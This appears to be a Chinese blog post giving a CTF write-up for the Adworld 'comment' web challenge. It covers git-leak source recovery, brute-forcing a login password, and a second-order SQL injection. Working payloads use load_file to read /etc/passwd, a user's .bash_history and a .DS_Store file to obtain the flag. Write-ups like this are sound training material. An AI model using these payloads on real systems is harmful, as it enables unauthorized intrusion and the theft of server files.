攻防世界-WEB-comment

攻防世界-WEB-comment

没想到短短几天浏览就破千了,在这里向各位表示衷心的感谢

在这里插入图片描述

老样子,先做爆破
在这里插入图片描述

上githack

在这里插入图片描述

里面有一个write_do.php

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    break;
case 'comment':
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

emmmm

不难看出,当mysql.php和login.php放一起时,存在sql注入的概率还是很大的

在这里插入图片描述

尝试

好的,失败

在这里插入图片描述

重新分析一下

尝试进行用户名和密码爆破

但是也毫无结果

我们试试他给的用户名

在这里插入图片描述

这里可以看出

用户名是zhangwei,密码是zhangwei***

也就是说,***可能需要我们进行爆破
在这里插入图片描述
试试

在这里插入图片描述

成功

接下来我们尝试注入

。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。

完全没有注入点啊。。。。。。。。

好好好

我们f12看看数据包有没有什么惊喜吧。。。。。

屁都没得。。。。。

自暴自弃的乱翻。。。。。。

在这里插入图片描述

我。。。。。

好好好,commit丢失,那么我们需要做修复

修复方法

  1. 使用git reflog命令:git reflog命令可以显示仓库中的引用日志,包括被删除的提交

    # 查看引用日志
    git reflog
    # 恢复到指定提交
    git reset --hard <commit>
    
  2. 使用git fsck命令:git fsck命令可以检查并修复对象数据库中的问题

    # 检查并修复对象数据库
    git fsck --full --no-dangling
    
  3. 使用其他Git工具或服务:比如git reflog和git reset命令来移动分支指针,或者使用Git服务提供商(如GitHub、GitLab等)的恢复功能。

在kali打开

在这里插入图片描述

然后做修复
在这里插入图片描述

接下来是被修复的php

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){	//检查会话中的$_SESSION['login']变量是否等于字符串'yes'。如果不是,将用户重定向到"./login.php"页面,并终止脚本的执行。
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);//从$_POST变量中获取'category'、'title'和'content'的值,并使用addslashes()函数对它们进行转义,以防止SQL注入攻击。
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);//构建一个INSERT INTO语句,将转义后的值插入名为'board'的数据库表中
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){//以下是当行数>0时执行的操作
    $category = mysql_fetch_array($result)['category'];//从结果集中获取'category'字段的值,并将其存储在$category变量中。
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";//构建一个SELECT语句,从名为'board'的数据库表中检索'category'字段的值,其中'id'等于转义后的'bo_id'。
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");//如果行数大于0,将用户重定向到"./comment.php?id=$bo_id"页面。
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

好的,整理一下

‘write’操作将用户通过POST方法提交的数据插入到名为’board’的数据库表中,而’comment’操作将用户通过POST方法提交的评论数据插入到名为’comment’的数据库表中。如果GET参数不是’write’或’comment’,则用户将被重定向到"./index.php"页面。

这里很有意思的一处就是

在write中,他对所有传入的值做了转义

而在comment中并未对category做转义,我们完全可以利用这一点进行注入

首先,我们摸清楚原理

insert into board
            set category = '$category',
                title = '$title',
                content = '$content';

当传入的值存在‘ “ \ 以及NULL字符时,addslashes会在字符前加反斜杠。

所以在我们发帖的时候,并不能成功注入

而在comment中,由于他并未对category使用这个函数,原因可能是在comment.php中,我们并不能直接使用category。

我们看这一句

  $sql = "select category from board where id='$bo_id'";

在comment中抓个包
在这里插入图片描述

所以sql就变成了

insert into comment
            set category = '123',
                title = '1',
                content = '1';
                bo_id = '1';

那么,当我们在发帖时这么构建
在这里插入图片描述

insert into board
            set category = '1',content=database()/*',
                title = '222',
                content = '231241243112234124123441423';

然后我们在comment中这么输入

insert into comment
            set category = '1',content=database()/*',
                content = '*/#';
                bo_id = '1'";

那么sql会将category和content的内容看成’1’,content=database()/**/#

从而执行这条语句
在这里插入图片描述

ctf为数据库名称

接下来我们查看用户是什么
在这里插入图片描述

权限之高实属难得

我们可以查看一些比较敏感的目录,比如说/etc/passwd /etc/shadow等等等等

在这里的话查看shadow没什么意义,所以我们直接查看/etc/passwd
在这里插入图片描述

在这里插入图片描述

这里涉及内网渗透的知识

可以发现,除root外,只有www使用bash
bash是Unix以及类Unix的解释器,用于执行命令,编写shell脚本等等

也就是说,我们可以通过查看www的历史记录以获取一些关键信息,这里我们需要知道的是flag在哪里

一般来说,bash的历史记录保存在home/用户/.bash_history中

1',content=(select(load_file("/home/www/.bash_history"))),/*

在这里插入图片描述在这里插入图片描述

这里删了 .DS_Store文件,那估摸这里面有玄机

我们去/tmp/html里面找找DS_Store
在这里插入图片描述
在这里插入图片描述

没读全啊。。。。。。可能是内容太多了

我们试试加密读取

111',content=(select hex((load_file(""/tmp/html/.DS_Store")))),/*

在这里插入图片描述

在这里插入图片描述

应该是flag了

读取

在这里插入图片描述

在这里插入图片描述成功

感谢各位师傅们的支持,能够和师傅们共同成长是我的荣幸
求赞求关注
谢谢!!!

  • 35
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值